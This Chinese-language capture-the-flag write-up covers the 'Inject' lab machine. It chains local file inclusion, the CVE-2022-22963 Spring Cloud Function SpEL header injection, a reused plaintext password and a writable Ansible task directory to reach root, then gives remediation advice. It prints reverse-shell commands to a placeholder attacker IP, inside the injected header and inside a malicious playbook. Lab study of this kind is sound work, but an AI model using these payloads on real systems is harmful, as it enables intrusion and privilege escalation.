利用lfl文件包含发现CVE-2022-22963拿到root
字数 1811 2025-08-24 07:48:10

利用LFL文件包含漏洞及CVE-2022-22963获取Root权限的完整渗透测试指南

1. 目标概述

本次渗透测试的目标是一个名为"Inject"的简单难度Linux机器,通过以下步骤获取root权限:

  1. 发现并利用本地文件包含(LFL)漏洞
  2. 利用Spring-Cloud-Function-Web的CVE-2022-22963漏洞建立初始访问
  3. 通过枚举发现用户明文密码
  4. 利用Ansible cronjob计划任务执行恶意命令提权

2. 初始信息收集

2.1 端口扫描

使用Nmap进行快速扫描:

nmap -min-rate 10000 -p- -T4 10.10.11.204

扫描结果:

  • 22/tcp open ssh
  • 8080/tcp open http-proxy

3. Web应用分析

3.1 文件上传功能

发现网站具有文件上传功能:

  • 上传非图片文件会被拒绝,提示"只接受图像文件!"
  • 上传正常图片后会返回图片链接,如:http://10.10.11.204:8080/show_image?img=Inject.png

3.2 本地文件包含(LFL)漏洞发现

访问图片的URL格式为/show_image?img=文件名,可能存在本地文件包含漏洞。

本地文件包含(LFI)漏洞原理

  • 当应用程序使用用户提供的输入来构造文件路径时,未进行适当验证和过滤
  • 攻击者可以通过注入特定文件路径(如../或绝对路径)访问系统敏感文件

漏洞验证
尝试访问:

http://10.10.11.204:8080/show_image?img=/etc/passwd

成功读取到/etc/passwd文件内容,确认存在LFI漏洞。

4. 深入利用LFI漏洞

4.1 枚举文件系统

通过LFI漏洞枚举关键文件:

  • /var/www/ - Web应用常用目录
  • /var/www/WebApp/pom.xml - 发现应用使用Spring-Cloud-Function-Web

4.2 发现CVE-2022-22963漏洞

通过分析pom.xml文件,发现应用使用易受攻击版本的Spring-Cloud-Function-Web,存在CVE-2022-22963漏洞。

5. 利用CVE-2022-22963获取初始访问

5.1 漏洞利用步骤

  1. 准备反向Shell命令:
echo -n "bash -i >& /dev/tcp/YOUR_IP/1337 0>&1" | base64
  1. 构造恶意POST请求发送到/functionRouter端点,包含以下头部:
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YOUR_BASE64_ENCODED_COMMAND}|{base64,-d}|{bash,-i}")
  1. 本地启动监听:
nc -lvnp 1337
  1. 使用Burp Suite发送构造的恶意请求,获取反向Shell。

6. 横向移动

6.1 枚举系统信息

/home/frank/.m2目录下发现phil用户的明文密码。

6.2 切换用户

su phil

使用发现的密码切换到phil用户。

7. 权限提升

7.1 使用pspy监控进程

  1. 本地搭建HTTP服务:
python3 -m http.server 80
  1. 目标机下载pspy:
wget http://YOUR_IP/pspy64
chmod +x pspy64
./pspy64
  1. 发现每2分钟运行的cronjob,执行Ansible任务:
  • /usr/local/bin/ansible-parallel执行/opt/automation/tasks下的*.yml文件
  • 从root目录复制playbook_1.yml

7.2 Ansible基础知识

Ansible核心概念

  • 使用YAML格式的Playbooks描述系统状态和配置
  • 无需客户端代理,通过SSH远程执行
  • 模块化架构,丰富的内置模块
  • 主要用于配置管理、应用部署和任务编排

7.3 利用Ansible提权

  1. 检查/opt/automation/tasks目录权限:
ls -al /opt/automation/tasks

发现当前用户有读写权限。

  1. 创建恶意Playbook:
hosts: localhost
tasks:
  - name: Checking webapp service
    shell: bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'
  1. 本地启动新监听:
nc -lvnp 4444
  1. 等待cronjob执行(约2分钟),获取root权限的反向Shell。

8. 漏洞修复建议

8.1 修复LFI漏洞

  1. 对用户输入进行严格验证和过滤
  2. 使用白名单机制限制可访问文件
  3. 使用安全的文件访问函数和API
  4. 最小化应用程序对文件系统的访问权限

8.2 修复其他问题

  1. 避免存储明文密码
  2. 按照最小权限原则设置/opt/automation/tasks目录权限
  3. 及时更新易受攻击的Spring-Cloud-Function-Web组件

9. 总结

本次渗透测试展示了从外部攻击到获取root权限的完整链条:

  1. 通过文件上传功能发现LFI漏洞
  2. 利用LFI枚举系统信息发现Spring漏洞
  3. 利用CVE-2022-22963获取初始访问
  4. 通过枚举发现凭证实现横向移动
  5. 利用配置不当的Ansible任务实现权限提升

关键点在于全面的信息收集、漏洞链的串联利用以及对系统配置的深入理解。

利用LFL文件包含漏洞及CVE-2022-22963获取Root权限的完整渗透测试指南 1. 目标概述 本次渗透测试的目标是一个名为"Inject"的简单难度Linux机器,通过以下步骤获取root权限: 发现并利用本地文件包含(LFL)漏洞 利用Spring-Cloud-Function-Web的CVE-2022-22963漏洞建立初始访问 通过枚举发现用户明文密码 利用Ansible cronjob计划任务执行恶意命令提权 2. 初始信息收集 2.1 端口扫描 使用Nmap进行快速扫描: 扫描结果: 22/tcp open ssh 8080/tcp open http-proxy 3. Web应用分析 3.1 文件上传功能 发现网站具有文件上传功能: 上传非图片文件会被拒绝,提示"只接受图像文件!" 上传正常图片后会返回图片链接,如: http://10.10.11.204:8080/show_image?img=Inject.png 3.2 本地文件包含(LFL)漏洞发现 访问图片的URL格式为 /show_image?img=文件名 ,可能存在本地文件包含漏洞。 本地文件包含(LFI)漏洞原理 : 当应用程序使用用户提供的输入来构造文件路径时,未进行适当验证和过滤 攻击者可以通过注入特定文件路径(如 ../ 或绝对路径)访问系统敏感文件 漏洞验证 : 尝试访问: 成功读取到 /etc/passwd 文件内容,确认存在LFI漏洞。 4. 深入利用LFI漏洞 4.1 枚举文件系统 通过LFI漏洞枚举关键文件: /var/www/ - Web应用常用目录 /var/www/WebApp/pom.xml - 发现应用使用Spring-Cloud-Function-Web 4.2 发现CVE-2022-22963漏洞 通过分析 pom.xml 文件,发现应用使用易受攻击版本的Spring-Cloud-Function-Web,存在CVE-2022-22963漏洞。 5. 利用CVE-2022-22963获取初始访问 5.1 漏洞利用步骤 准备反向Shell命令: 构造恶意POST请求发送到 /functionRouter 端点,包含以下头部: 本地启动监听: 使用Burp Suite发送构造的恶意请求,获取反向Shell。 6. 横向移动 6.1 枚举系统信息 在 /home/frank/.m2 目录下发现phil用户的明文密码。 6.2 切换用户 使用发现的密码切换到phil用户。 7. 权限提升 7.1 使用pspy监控进程 本地搭建HTTP服务: 目标机下载pspy: 发现每2分钟运行的cronjob,执行Ansible任务: /usr/local/bin/ansible-parallel 执行 /opt/automation/tasks 下的 *.yml 文件 从root目录复制 playbook_1.yml 7.2 Ansible基础知识 Ansible核心概念 : 使用YAML格式的Playbooks描述系统状态和配置 无需客户端代理,通过SSH远程执行 模块化架构,丰富的内置模块 主要用于配置管理、应用部署和任务编排 7.3 利用Ansible提权 检查 /opt/automation/tasks 目录权限: 发现当前用户有读写权限。 创建恶意Playbook: 本地启动新监听: 等待cronjob执行(约2分钟),获取root权限的反向Shell。 8. 漏洞修复建议 8.1 修复LFI漏洞 对用户输入进行严格验证和过滤 使用白名单机制限制可访问文件 使用安全的文件访问函数和API 最小化应用程序对文件系统的访问权限 8.2 修复其他问题 避免存储明文密码 按照最小权限原则设置 /opt/automation/tasks 目录权限 及时更新易受攻击的Spring-Cloud-Function-Web组件 9. 总结 本次渗透测试展示了从外部攻击到获取root权限的完整链条: 通过文件上传功能发现LFI漏洞 利用LFI枚举系统信息发现Spring漏洞 利用CVE-2022-22963获取初始访问 通过枚举发现凭证实现横向移动 利用配置不当的Ansible任务实现权限提升 关键点在于全面的信息收集、漏洞链的串联利用以及对系统配置的深入理解。